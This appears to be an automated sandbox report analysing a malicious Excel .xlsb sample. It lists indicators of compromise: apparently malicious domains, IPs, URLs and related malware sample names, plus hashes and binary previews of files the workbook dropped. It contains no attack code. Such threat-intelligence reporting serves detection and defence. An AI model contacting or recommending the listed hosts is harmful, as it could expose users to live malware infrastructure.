                                                                                                                                                        Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
                                                                                                                                                        Number of analysed new started processes analysed:17
                                                                                                                                                        Number of new started drivers analysed:0
                                                                                                                                                        Number of existing processes analysed:0
                                                                                                                                                        Number of existing drivers analysed:0
                                                                                                                                                        Number of injected processes analysed:0
                                                                                                                                                        Technologies:
                                                                                                                                                        • HCA enabled
                                                                                                                                                        • EGA enabled
                                                                                                                                                        • HDC enabled
                                                                                                                                                        • AMSI enabled
                                                                                                                                                        Analysis Mode:default
                                                                                                                                                        Analysis stop reason:Timeout
                                                                                                                                                        Detection:MAL
                                                                                                                                                        Classification:mal68.expl.evad.winXLSB@5/10@2/2
                                                                                                                                                        EGA Information:Failed
                                                                                                                                                        HDC Information:Failed
                                                                                                                                                        HCA Information:
                                                                                                                                                        • Successful, ratio: 100%
                                                                                                                                                        • Number of executed functions: 0
                                                                                                                                                        • Number of non-executed functions: 0
                                                                                                                                                        Cookbook Comments:
                                                                                                                                                        • Adjust boot time
                                                                                                                                                        • Enable AMSI
                                                                                                                                                        • Found application associated with file extension: .xlsb
                                                                                                                                                        • Found Word or Excel or PowerPoint or XPS Viewer
                                                                                                                                                        • Attach to Office via COM
                                                                                                                                                        • Scroll down
                                                                                                                                                        • Close Viewer
                                                                                                                                                        Warnings:
                                                                                                                                                        Show All
                                                                                                                                                        • Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, RuntimeBroker.exe, backgroundTaskHost.exe, svchost.exe, wuapihost.exe
                                                                                                                                                        • Excluded IPs from analysis (whitelisted): 52.147.198.201, 92.122.145.220, 13.64.90.137, 52.109.88.177, 52.109.12.22, 52.109.8.24, 20.82.209.183, 52.255.188.83, 205.185.216.10, 205.185.216.42, 20.50.102.62, 92.122.213.194, 92.122.213.247, 20.54.104.15, 20.54.26.129, 20.54.7.98, 20.82.210.154
                                                                                                                                                        • Excluded domains from analysis (whitelisted): prod-w.nexus.live.com.akadns.net, store-images.s-microsoft.com-c.edgekey.net, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, a1449.dscg2.akamai.net, arc.msn.com, consumerrp-displaycatalog-aks2eap-europe.md.mp.microsoft.com.akadns.net, e12564.dspb.akamaiedge.net, audownload.windowsupdate.nsatc.net, au.download.windowsupdate.com.hwcdn.net, nexus.officeapps.live.com, arc.trafficmanager.net, officeclient.microsoft.com, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, au-bg-shim.trafficmanager.net, skypedataprdcolwus17.cloudapp.net, iris-de-prod-azsc-neu.northeurope.cloudapp.azure.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, prod.configsvc1.live.com.akadns.net, ris-prod.trafficmanager.net, ctldl.windowsupdate.com, cds.d2s7q6s2.hwcdn.net, consumerrp-displaycatalog-aks2aks-europe.md.mp.microsoft.com.akadns.net, iris-de-prod-azsc-uks.uksouth.cloudapp.azure.com, skypedataprdcoleus16.cloudapp.net, ris.api.iris.microsoft.com, skypedataprdcoleus17.cloudapp.net, store-images.s-microsoft.com, config.officeapps.live.com, blobcollector.events.data.trafficmanager.net, europe.configsvc1.live.com.akadns.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net, neu-consumerrp-displaycatalog-aks2aks-europe.md.mp.microsoft.com.akadns.net
                                                                                                                                                        • VT rate limit hit for: /opt/package/joesandbox/database/analysis/432040/sample/DEMLwnv0Nt.xlsb

                                                                                                                                                        Simulations

                                                                                                                                                        Behavior and APIs

                                                                                                                                                        No simulations

                                                                                                                                                        Joe Sandbox View / Context

                                                                                                                                                        IPs

                                                                                                                                                        MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                                                                        192.185.48.167audit-367497006.xlsbGet hashmaliciousBrowse
                                                                                                                                                          192.185.113.120ForeignRemittance_20210219_USD.xlsxGet hashmaliciousBrowse
                                                                                                                                                          • www.guepard-marine.com/ivay/?PbvpO8=7c4TMZ8HJw/eFJUVC4Rd5gN+5dnR2WOvXzuZPR1ukaHcCIIPr6KkFYNadeo0+7aaqJva+Q==&-Zp=fxoDxR_8sz1ds
                                                                                                                                                          c4p1vG05Z8.exeGet hashmaliciousBrowse
                                                                                                                                                          • www.guepard-marine.com/ivay/?oPnpM4=7c4TMZ8CJ3/aFZYZA4Rd5gN+5dnR2WOvXz2JTSpvg6HdC5kJsqboTc1Ye7Ei6rephKyq&Lh0l=ZTdp62D8T

                                                                                                                                                          Domains

                                                                                                                                                          MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                                                                          dreamhimalayan.comaudit-367497006.xlsbGet hashmaliciousBrowse
                                                                                                                                                          • 192.185.113.120
                                                                                                                                                          forfacks.comaudit-367497006.xlsbGet hashmaliciousBrowse
                                                                                                                                                          • 192.185.48.167

                                                                                                                                                          ASN

                                                                                                                                                          MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                                                                          UNIFIEDLAYER-AS-1USaudit-367497006.xlsbGet hashmaliciousBrowse
                                                                                                                                                          • 192.185.113.120
                                                                                                                                                          analysis-31947858.xlsbGet hashmaliciousBrowse
                                                                                                                                                          • 108.167.156.223
                                                                                                                                                          analysis-1593377733.xlsbGet hashmaliciousBrowse
                                                                                                                                                          • 108.167.156.223
                                                                                                                                                          research-531942606.xlsbGet hashmaliciousBrowse
                                                                                                                                                          • 192.185.33.8
                                                                                                                                                          OM PHOENIX TRADERS.exeGet hashmaliciousBrowse
                                                                                                                                                          • 192.254.185.244
                                                                                                                                                          research-121105165.xlsbGet hashmaliciousBrowse
                                                                                                                                                          • 192.185.33.8
                                                                                                                                                          research-76934760.xlsbGet hashmaliciousBrowse
                                                                                                                                                          • 192.185.33.8
                                                                                                                                                          research-1960540844.xlsxGet hashmaliciousBrowse
                                                                                                                                                          • 192.185.33.8
                                                                                                                                                          fm8m5vuj2w.exeGet hashmaliciousBrowse
                                                                                                                                                          • 192.185.26.241
                                                                                                                                                          research-1110827633.xlsbGet hashmaliciousBrowse
                                                                                                                                                          • 192.185.33.8
                                                                                                                                                          swift_08_06_21.exeGet hashmaliciousBrowse
                                                                                                                                                          • 162.241.61.204
                                                                                                                                                          INVOICES,PDF.exeGet hashmaliciousBrowse
                                                                                                                                                          • 192.254.224.94
                                                                                                                                                          Outstanding_Payments.exeGet hashmaliciousBrowse
                                                                                                                                                          • 192.185.129.69
                                                                                                                                                          xTnb7uPpSb.xlsGet hashmaliciousBrowse
                                                                                                                                                          • 192.185.107.121
                                                                                                                                                          xTnb7uPpSb.xlsGet hashmaliciousBrowse
                                                                                                                                                          • 192.185.145.162
                                                                                                                                                          SecuriteInfo.com.Trojan.GenericKD.46442270.25635.exeGet hashmaliciousBrowse
                                                                                                                                                          • 192.185.113.219
                                                                                                                                                          SecuriteInfo.com.__vbaHresultCheckObj.9138.exeGet hashmaliciousBrowse
                                                                                                                                                          • 192.185.113.219
                                                                                                                                                          MLJ.exeGet hashmaliciousBrowse
                                                                                                                                                          • 192.185.113.219
                                                                                                                                                          LEMOH.exeGet hashmaliciousBrowse
                                                                                                                                                          • 162.241.219.209
                                                                                                                                                          03062021.exeGet hashmaliciousBrowse
                                                                                                                                                          • 162.241.253.69
                                                                                                                                                          UNIFIEDLAYER-AS-1USaudit-367497006.xlsbGet hashmaliciousBrowse
                                                                                                                                                          • 192.185.113.120
                                                                                                                                                          analysis-31947858.xlsbGet hashmaliciousBrowse
                                                                                                                                                          • 108.167.156.223
                                                                                                                                                          analysis-1593377733.xlsbGet hashmaliciousBrowse
                                                                                                                                                          • 108.167.156.223
                                                                                                                                                          research-531942606.xlsbGet hashmaliciousBrowse
                                                                                                                                                          • 192.185.33.8
                                                                                                                                                          OM PHOENIX TRADERS.exeGet hashmaliciousBrowse
                                                                                                                                                          • 192.254.185.244
                                                                                                                                                          research-121105165.xlsbGet hashmaliciousBrowse
                                                                                                                                                          • 192.185.33.8
                                                                                                                                                          research-76934760.xlsbGet hashmaliciousBrowse
                                                                                                                                                          • 192.185.33.8
                                                                                                                                                          research-1960540844.xlsxGet hashmaliciousBrowse
                                                                                                                                                          • 192.185.33.8
                                                                                                                                                          fm8m5vuj2w.exeGet hashmaliciousBrowse
                                                                                                                                                          • 192.185.26.241
                                                                                                                                                          research-1110827633.xlsbGet hashmaliciousBrowse
                                                                                                                                                          • 192.185.33.8
                                                                                                                                                          swift_08_06_21.exeGet hashmaliciousBrowse
                                                                                                                                                          • 162.241.61.204
                                                                                                                                                          INVOICES,PDF.exeGet hashmaliciousBrowse
                                                                                                                                                          • 192.254.224.94
                                                                                                                                                          Outstanding_Payments.exeGet hashmaliciousBrowse
                                                                                                                                                          • 192.185.129.69
                                                                                                                                                          xTnb7uPpSb.xlsGet hashmaliciousBrowse
                                                                                                                                                          • 192.185.107.121
                                                                                                                                                          xTnb7uPpSb.xlsGet hashmaliciousBrowse
                                                                                                                                                          • 192.185.145.162
                                                                                                                                                          SecuriteInfo.com.Trojan.GenericKD.46442270.25635.exeGet hashmaliciousBrowse
                                                                                                                                                          • 192.185.113.219
                                                                                                                                                          SecuriteInfo.com.__vbaHresultCheckObj.9138.exeGet hashmaliciousBrowse
                                                                                                                                                          • 192.185.113.219
                                                                                                                                                          MLJ.exeGet hashmaliciousBrowse
                                                                                                                                                          • 192.185.113.219
                                                                                                                                                          LEMOH.exeGet hashmaliciousBrowse
                                                                                                                                                          • 162.241.219.209
                                                                                                                                                          03062021.exeGet hashmaliciousBrowse
                                                                                                                                                          • 162.241.253.69

                                                                                                                                                          JA3 Fingerprints

                                                                                                                                                          MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                                                                          37f463bf4616ecd445d4a1937da06e19ushWNWLfGL.exeGet hashmaliciousBrowse
                                                                                                                                                          • 192.185.48.167
                                                                                                                                                          • 192.185.113.120
                                                                                                                                                          Nota Fiscal Eletronica 00111834.msiGet hashmaliciousBrowse
                                                                                                                                                          • 192.185.48.167
                                                                                                                                                          • 192.185.113.120
                                                                                                                                                          snAtEF9kUq.exeGet hashmaliciousBrowse
                                                                                                                                                          • 192.185.48.167
                                                                                                                                                          • 192.185.113.120
                                                                                                                                                          Bills Pending Approval.htmlGet hashmaliciousBrowse
                                                                                                                                                          • 192.185.48.167
                                                                                                                                                          • 192.185.113.120
                                                                                                                                                          Documents_13134976_1377491379.xlsbGet hashmaliciousBrowse
                                                                                                                                                          • 192.185.48.167
                                                                                                                                                          • 192.185.113.120
                                                                                                                                                          audit-367497006.xlsbGet hashmaliciousBrowse
                                                                                                                                                          • 192.185.48.167
                                                                                                                                                          • 192.185.113.120
                                                                                                                                                          Bills Pending Approval.htmlGet hashmaliciousBrowse
                                                                                                                                                          • 192.185.48.167
                                                                                                                                                          • 192.185.113.120
                                                                                                                                                          GDrVYvtzuO.exeGet hashmaliciousBrowse
                                                                                                                                                          • 192.185.48.167
                                                                                                                                                          • 192.185.113.120
                                                                                                                                                          9E7YOr0kp1.exeGet hashmaliciousBrowse
                                                                                                                                                          • 192.185.48.167
                                                                                                                                                          • 192.185.113.120
                                                                                                                                                          aKdhpWlFPg.exeGet hashmaliciousBrowse
                                                                                                                                                          • 192.185.48.167
                                                                                                                                                          • 192.185.113.120
                                                                                                                                                          vSYEHJjK1G.exeGet hashmaliciousBrowse
                                                                                                                                                          • 192.185.48.167
                                                                                                                                                          • 192.185.113.120
                                                                                                                                                          FaceCheck - Installer.exeGet hashmaliciousBrowse
                                                                                                                                                          • 192.185.48.167
                                                                                                                                                          • 192.185.113.120
                                                                                                                                                          analysis-31947858.xlsbGet hashmaliciousBrowse
                                                                                                                                                          • 192.185.48.167
                                                                                                                                                          • 192.185.113.120
                                                                                                                                                          Julie.randall Completed REFERRAL AGREEMENT 60926.htmlGet hashmaliciousBrowse
                                                                                                                                                          • 192.185.48.167
                                                                                                                                                          • 192.185.113.120
                                                                                                                                                          DPSGNwkO1Z.exeGet hashmaliciousBrowse
                                                                                                                                                          • 192.185.48.167
                                                                                                                                                          • 192.185.113.120
                                                                                                                                                          x1Q123VhUa.exeGet hashmaliciousBrowse
                                                                                                                                                          • 192.185.48.167
                                                                                                                                                          • 192.185.113.120
                                                                                                                                                          Snc3sPQ2yl.exeGet hashmaliciousBrowse
                                                                                                                                                          • 192.185.48.167
                                                                                                                                                          • 192.185.113.120
                                                                                                                                                          nU8kVKVAc8.exeGet hashmaliciousBrowse
                                                                                                                                                          • 192.185.48.167
                                                                                                                                                          • 192.185.113.120
                                                                                                                                                          tmp_Client-Status-062021-952177.vbsGet hashmaliciousBrowse
                                                                                                                                                          • 192.185.48.167
                                                                                                                                                          • 192.185.113.120
                                                                                                                                                          analysis-1593377733.xlsbGet hashmaliciousBrowse
                                                                                                                                                          • 192.185.48.167
                                                                                                                                                          • 192.185.113.120

                                                                                                                                                          Dropped Files

                                                                                                                                                          No context

                                                                                                                                                          Created / dropped Files

                                                                                                                                                          C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\AA310D15-039E-4B86-9827-EDEE6B2EFE37
                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                          File Type:XML 1.0 document, UTF-8 Unicode text, with very long lines, with CRLF line terminators
                                                                                                                                                          Category:dropped
                                                                                                                                                          Size (bytes):134915
                                                                                                                                                          Entropy (8bit):5.3692906111172025
                                                                                                                                                          Encrypted:false
                                                                                                                                                          SSDEEP:1536:ucQIKNEeBXA3gBwlpQ9DQW+z7534ZlCKWXboOilX5ENLWME9:+EQ9DQW+zAXOe
                                                                                                                                                          MD5:B13F64AB121C9291303A3D764C29A998
                                                                                                                                                          SHA1:B3F87A1B0EB25CE08DE1601658BAEE6F49D8FCDD
                                                                                                                                                          SHA-256:BB0025A3CA0C48CED3444EB597C36A6285B97E13291526F5C45867F1BC0F5000
                                                                                                                                                          SHA-512:1D01D87D0F0D80E532F61A923D409EDAF7871A9A373A57081389B045DFD471FBB2AB5D7DB073D1DA940CEB38F5008C900F2AF729FD07E77E614BA091ECB5CB3A
                                                                                                                                                          Malicious:false
                                                                                                                                                          Reputation:low
                                                                                                                                                          Preview: <?xml version="1.0" encoding="utf-8"?>..<o:OfficeConfig xmlns:o="urn:schemas-microsoft-com:office:office">.. <o:services o:GenerationTime="2021-06-09T15:17:06">.. Build: 16.0.14207.30526-->.. <o:default>.. <o:ticket o:headerName="Authorization" o:headerValue="{}" />.. </o:default>.. <o:service o:name="Research">.. <o:url>https://rr.office.microsoft.com/research/query.asmx</o:url>.. </o:service>.. <o:service o:name="ORedir">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ORedirSSL">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ClViewClientHelpId">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. </o:service>.. <o:service o:name="ClViewClientHome">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. </o:service>.. <o:service o:name="ClViewClientTemplate">.. <o:url>https://ocsa.office.microsoft.com/client/15/help/template</o:url>.. </o:service>.. <o:
                                                                                                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\40EEFE67.png
                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                          File Type:PNG image data, 246 x 108, 8-bit/color RGB, non-interlaced
                                                                                                                                                          Category:dropped
                                                                                                                                                          Size (bytes):10270
                                                                                                                                                          Entropy (8bit):7.975714699744477
                                                                                                                                                          Encrypted:false
                                                                                                                                                          SSDEEP:192:3sXvKLMbye/PEXiKTUgCto9h4F6NwfU6vGDpdYNbcQZgkbd4cgc:3iLh/gJ59CDfU6LocbGK
                                                                                                                                                          MD5:9C4F09E387EA7B36C8149EA7C5F8876E
                                                                                                                                                          SHA1:FF83384288EB89964C3872367E43F25FAFF007CC
                                                                                                                                                          SHA-256:A51C1D65092272DAEB2541D64A10539F0D04BC2F51B281C7A3296500CFCA56DE
                                                                                                                                                          SHA-512:0FDDE22CFDDE8BB1C04842D2810D0FD6D42192594E0D6120DE401B08B7E2CFFB5333792BC748E93CD70FA14734CC7D950620CB977DDBBDB52D92BDA8F35521F8
                                                                                                                                                          Malicious:false
                                                                                                                                                          Reputation:low
                                                                                                                                                          Preview: .PNG........IHDR.......l...........sRGB.........pHYs..........+....'.IDATx^.].|.U...%...J.".....H.&Ui......E.........D.7....U.i..FH#=......3..$K....'{3....7........0.H......H..03..,....8.q........'@\...S@.../.0=....|....}|......0.... ...,LO........q._`az.....8......... .`..) @...X...q..>N...>.........q........'@\...S@.../.0=....|....}|......0.... ...,LO........q._`az.....8...l..m.i'Sj.W.i.S.TJ....D.D._%...]..i.;J..b..T.).Ik.L6..L.mN....!*..\..'{$.o._b..h....t"@.?...y...d..h..|..B9D..CJD..t."........bR"....I)H....z.......>|.....E.x..r....J.U..[...p:D....XF......A...E.....b..C...C..C......=.Z..$.=../....Y..x5CY.0l..,~.W. .?......;...$.'....<.H.2...z..6(.E........kw8w^.\~...".C,gl&.m..J2.).HI.....b.r...'.....r.H...P.....'...A.^.q..j).cZ.^1~.|.........dv^.^v..X..v..6/^.$rR. iK..H.Uu.Pvk....U.....'.Fd..Z.]mu\*1.Zb.\b...N..P..&tr;.W....J.K(@.^A..R.S.[~.v.R.YO...0-...2..h."..............7..Ng...R...e.&..@..t..N...{5...W.x./#.%..}t...F8-..M1..(4b1....&.....)B...6.
                                                                                                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\5D8EF53C.png
                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                          File Type:PNG image data, 934 x 29, 8-bit/color RGB, non-interlaced
                                                                                                                                                          Category:dropped
                                                                                                                                                          Size (bytes):42557
                                                                                                                                                          Entropy (8bit):7.992800895943226
                                                                                                                                                          Encrypted:true
                                                                                                                                                          SSDEEP:768:Pfsq4UmepRdblCFcXhw9KnRTRews6xD0FvBlwAS1A8x7BcS0OvD230:PR3ZblCF28KRsws6CFv0AYx7Bl3b230
                                                                                                                                                          MD5:B1F262A694930ADB699FA94E3394887F
                                                                                                                                                          SHA1:9C9B66D3A3F09AECA45DB94304CDD6FB3C5BD4C9
                                                                                                                                                          SHA-256:9C99EC61392B9022A38C1354124360147E8185065095BD2EC92B1416CF9F4B68
                                                                                                                                                          SHA-512:1CA7E6750178B88EC3AA7A0B83348EA389E26C27E0D7E919D807BE470714E5B4F04ACEB69D391F0498D4E465E6620E9449CA2F40755B5CE8196E683502EBF5F4
                                                                                                                                                          Malicious:false
                                                                                                                                                          Reputation:low
                                                                                                                                                          Preview: .PNG........IHDR.............6......sRGB.........pHYs..........+......IDATx^....dU....S.:ON.0.0....s0 .....$..%#HR.T.......$..0C...Su...[.TM..{.......C.S}..^{......].^..ZX.Wb.W....X!..A.P....0..u...X.V.3.....z..tiO{GW..?...A.......ca2Y.... ...cAX..zZ..2M.$..g.O.e..r?z&................*....*.=..Z.A........a.Z..ka<..N.R.c......./.[..j.^...Nk.(..y.,..z"...R..Z+..D1Q....z....0..u~..jU_.b.Z.V....:..5:.(.......-...A2.O.{..p.j..].<........0..0..+...E...^...z....#..j.d...X._..1..M.5..O.^.."..l....G....U1........X.6.Z.\.&..h..m*..T..xH.j..3<$.H...a..n....}t.A.jT.6G.h@..<.x..x...cb......C..{.D.'QW<.o~..?.....4F_..B..h.\...y8..)....j.Z.d..#P..P..O.....(.0...f....B_z>.E .w../..(...'.Fw..yT..G..)...b9..g.AA`.a..v.zfY.F........._r.i.d.`....Q.g.m"..\..&.t.X.q1}.$.S....2..~...d."..1.. (.0.F....t...i..@f.. ...(..8..q.....I.....ad.....z%....;...y.O...X<Q..X.....B..H........<)....4.&9.4......1.h..#B.....g.....bO.59.A..M.....J..vX3*5..X....(G.A.u...8.. .{
                                                                                                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\A8D45C0D.png
                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                          File Type:PNG image data, 490 x 30, 8-bit/color RGB, non-interlaced
                                                                                                                                                          Category:dropped
                                                                                                                                                          Size (bytes):18547
                                                                                                                                                          Entropy (8bit):7.9850486438978985
                                                                                                                                                          Encrypted:false
                                                                                                                                                          SSDEEP:384:kBCIQCloAwCZDy0xOTn6/g6l4NpWfw9nHk6Ka01f7Y/H:kBCIQpAwODPMT6/gfOUKN70
                                                                                                                                                          MD5:ED31C7053D581EDC4C98D222CE02EDEF
                                                                                                                                                          SHA1:6BA7A49CC6FF8FE00E9C5BC75F48AB7E679536DD
                                                                                                                                                          SHA-256:0FCF61397154DF01CFAECA362BD643D88AAD5FEDD07B52DC8A921CC0D7236534
                                                                                                                                                          SHA-512:929BF13F2A050B33D0EABDAC97CAAFDDE612AD521027FEE4DD51E28A3CF61198D6C045E00AB85223C73D74D18BB4EAA1681C7AFA917946DC08A3C75FB2AB4935
                                                                                                                                                          Malicious:false
                                                                                                                                                          Preview: .PNG........IHDR.............l{......sRGB.........pHYs..........+....H.IDATx^...U............"x....U...."...Tc.{...M1M..In....TATb4F,`oD..Q..3......g.3..Lr.D....a8....~.z....Z...yyF..9...:.H.Q2..)/L.....Q.}....(J..,...w2>R.$..G2..m>..|...0.M.g.Xnjj...P.v..x....S......B..p.=.Lz.^..Wi..2U.V'.a..*DE.'..rT.z....#.;..]....[?.C...o.m`]..m][;.:<..]F.9..u..Q]c.Ue.9....(.F.Z.~s..Q:..B...)..LZ.TTo..P.gc.l.'.X.}..H....Q.h|....L..rcd.2dN..co..5.....w.U.4..}........{.Q.....D2.J.z~..:Y3,.H..(#.J.Q......N.._7....w.....].2w.6...._....u.......9-.7.f9...E9...p.A..f....=....Bqu....A.u.JG>b"...%..0..W.H=...G#.DR.....P.|FD).NJ....)>.;...M...T*.dW..t:[.xT..M.|S...O..."M.4u7.uS...]4..R.vK....*).ZK.. J.=.9C.].kr..ES..6..f.(.....N':..t..^.S....kn[s.#..(.....m.....~....6>....:u.J.mO.....%D...Q...6%....!......H.....v..^%....$.._..V........[o5.H8......n.~M.z.RL.0p:.iC.k.1..$...............3[....mS5..........E...2.&...k]...A.....K.8...5..O.@7.[-.F4*7...i....in...y....A
                                                                                                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\EC9CD47E.png
                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                          File Type:PNG image data, 24 x 24, 8-bit/color RGB, non-interlaced
                                                                                                                                                          Category:dropped
                                                                                                                                                          Size (bytes):848
                                                                                                                                                          Entropy (8bit):7.595467031611744
                                                                                                                                                          Encrypted:false
                                                                                                                                                          SSDEEP:24:NLJZbn0jL5Q3H/hbqzej+0C3Yi6yyuq53q:JIjm3pQCLWYi67lc
                                                                                                                                                          MD5:02DB1068B56D3FD907241C2F3240F849
                                                                                                                                                          SHA1:58EC338C879DDBDF02265CBEFA9A2FB08C569D20
                                                                                                                                                          SHA-256:D58FF94F5BB5D49236C138DC109CE83E82879D0D44BE387B0EA3773D908DD25F
                                                                                                                                                          SHA-512:9057CE6FA62F83BB3F3EFAB2E5142ABC41190C08846B90492C37A51F07489F69EDA1D1CA6235C2C8510473E8EA443ECC5694E415AEAF3C7BD07F864212064678
                                                                                                                                                          Malicious:false
                                                                                                                                                          Preview: .PNG........IHDR.............o.......sRGB.........pHYs..........+......IDAT8O.T]H.Q..;3...?..fk.lR..R$.R.Pb.Q...B..OA..T$.hAD...J../..-h...fj..+....;s.vg.Zsw.=...{.w.s.w.@.....;..s...O........;.y.p........,...s1@ Ir.:... .>.LLa..b?h...l.6..U....1....r.....T..O.d.KSA...7.YS..a.(F@....xe.^.I..$h....PpJ...k%.....9..QQ....h..!H*................./....2..J2..HG....A....Q&...k...d..&..Xa.t..E....E..f2.d(..v.~.P.+.pik+;...xEU.g....._xfw...+...(..pQ.(..(.U./..)..@..?..........f.'...lx+@F...+....)..k.A2...r~B,....TZ..y..9...`..0....q....yY....Q.......A.....8j[.O9..t..&...g. I@ ..;..X!...9S.J5..'.xh...8I.~.+...mf.m.W.i..{...+>P...Rh...+..br^$. q.^.......(..._.j...$..Ar...MZm|...9..E..!U[S.fDx7<....Wd.......p..C......^MyI:...c.^..SI.mGj,.......!...h..$..;...........yD./..a...-j.^:.}..v....RQY*.^......IEND.B`.
                                                                                                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\EE1210F0.png
                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                          File Type:PNG image data, 521 x 246, 8-bit/color RGB, non-interlaced
                                                                                                                                                          Category:dropped
                                                                                                                                                          Size (bytes):32996
                                                                                                                                                          Entropy (8bit):7.975478139053759
                                                                                                                                                          Encrypted:false
                                                                                                                                                          SSDEEP:768:N4k48AnTViUidx37OODgvnrxtxAudMN1VTRVHdB4K7K:NE8m+L37OOwrCXN1VTR1PK
                                                                                                                                                          MD5:4E69B72B0CE87CC7EE30AA1A062147FE
                                                                                                                                                          SHA1:09B0AA5414E08756E0AE53E1BE5C70DB4DEAF2E8
                                                                                                                                                          SHA-256:77A1F749389CBF771D5197FF0FF17113FCA1D91989ADCADF2852876A6CC14988
                                                                                                                                                          SHA-512:6246AF2137E773F7719033AFE75F0B00FF3A4B5543DBA53737FC8D33EE42478E3D8A5CF166E9EFD2F54A2F3E0D62417BDDC1CB824642305B59AB1229313D2D79
                                                                                                                                                          Malicious:false
                                                                                                                                                          Preview: .PNG........IHDR..............[.J....sRGB.........pHYs..........+......IDATx^.].`......{%.$..A...R.P@z....O...S.<;.VT.REA.(...I...{.......m...]..r./.......~.|]h.Z....P.(........E."@...P.(.v.P.@..E."@....#@y.......E."@y.......E."...*78C.~O...P.<....<o..).....3.(op...."@...x...7x...S.(...g.P...!.=E."@..<.(o.5.3..P.(.......B.{..E.".y.P..ykNgL...P..!@y.3.......E........."@...8C...g...)......!@y..9.1E."@.p........S.(....C....[s:c..E."......!D...P.(.........t.....E....78C.~O...P.<....<o..).....3.(op...."@...x...7x...S.(...g.P...!.=E."@..<.(o.5.3..P.(.......B.{..E.".y.P..ykNgL...P..!@y.3.......E........."@...8C...g...)......!@y..9.1E."@.p........S.(....C....[s:c..E."......!D...P.(.........t.....E....78C.~O...P.<....<o..).....3.(op...."@...x...7x...S.(...g.P...!.=E."@..<.(o.5.3..P.(.......B.{..E.".y.P..ykNgL...P..!@y.3.......E........."@...8C...g...)......!@y..9.1E."@.p........S.(....C....[s:c..E."......!D...P.(.........t.....E....78C.~O...P.<....<o..).....3.(op...."@...x..
                                                                                                                                                          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\F11A7C31.png
                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                          File Type:PNG image data, 24 x 24, 8-bit/color RGB, non-interlaced
                                                                                                                                                          Category:dropped
                                                                                                                                                          Size (bytes):557
                                                                                                                                                          Entropy (8bit):7.343009301479381
                                                                                                                                                          Encrypted:false
                                                                                                                                                          SSDEEP:12:6v/7aLMZ5I9TvSb5Lr6U7+uHK2yJtNJTNSB0qNMQCvGEvfvqVFsSq6ixPT3Zf:Ng8SdCU7+uqF20qNM1dvfSviNd
                                                                                                                                                          MD5:A516B6CB784827C6BDE58BC9D341C1BD
                                                                                                                                                          SHA1:9D602E7248E06FF639E6437A0A16EA7A4F9E6C73
                                                                                                                                                          SHA-256:EF8F7EDB6BA0B5ACEC64543A0AF1B133539FFD439F8324634C3F970112997074
                                                                                                                                                          SHA-512:C297A61DA1D7E7F247E14D188C425D43184139991B15A5F932403EE68C356B01879B90B7F96D55B0C9B02F6B9BFAF4E915191683126183E49E668B6049048D35
                                                                                                                                                          Malicious:false
                                                                                                                                                          Preview: .PNG........IHDR.............o.......sRGB.........pHYs..........+......IDAT8Oc.......l.9a._.X....@.`ddbc.]...........O..m7.r0|..."......?A.......w..;.N1u........_.[.\Y...BK=...F +.t.M~..oX..%....211o.q.P.".......y...../..l.r...4..Q]..h.....LL.d.......d....w.>{.e..k.7.9y.%.. .YpI...{.+Kv......./..\[...A....^.5c..O?.......G...VB..4HWY...9NU...?..S..$..1..6.U.....c... ....7..J. "M..5. ............_.......d.V.W.c.....Y.A..S....~.C.....q........t?..."n.....4......G_......Q..x..W.!L.a...3....MR.|.-P#P;..p._.......jUG....X........IEND.B`.
                                                                                                                                                          C:\Users\user\AppData\Local\Temp\96C40000
                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                          File Type:data
                                                                                                                                                          Category:dropped
                                                                                                                                                          Size (bytes):157782
                                                                                                                                                          Entropy (8bit):7.964541460162934
                                                                                                                                                          Encrypted:false
                                                                                                                                                          SSDEEP:3072:LdlQ9VlUBWA6CFvA7brCxAVIKDXv/V1REyNEsAnexVymd1xXPwAl:Lw3liWA6FiYDXvNfzTYexVyWxff
                                                                                                                                                          MD5:77A619621FE30C9CD803FFB6678D8112
                                                                                                                                                          SHA1:17EA8B755DA17BF8C2C75A79FE779B208EC42A1C
                                                                                                                                                          SHA-256:33D8F7EB00753EC48EDBE4B213F9D88F77C64AC4C53A4C26344EFCE432190E43
                                                                                                                                                          SHA-512:0F8165E8F29843055936FF3E340B6689AC867746D035A892715974ABCE67EDE6463CBBEA70E8F10FDD8383E02C580E75CFA46C109F394BB7925A3EEA4E37E34E
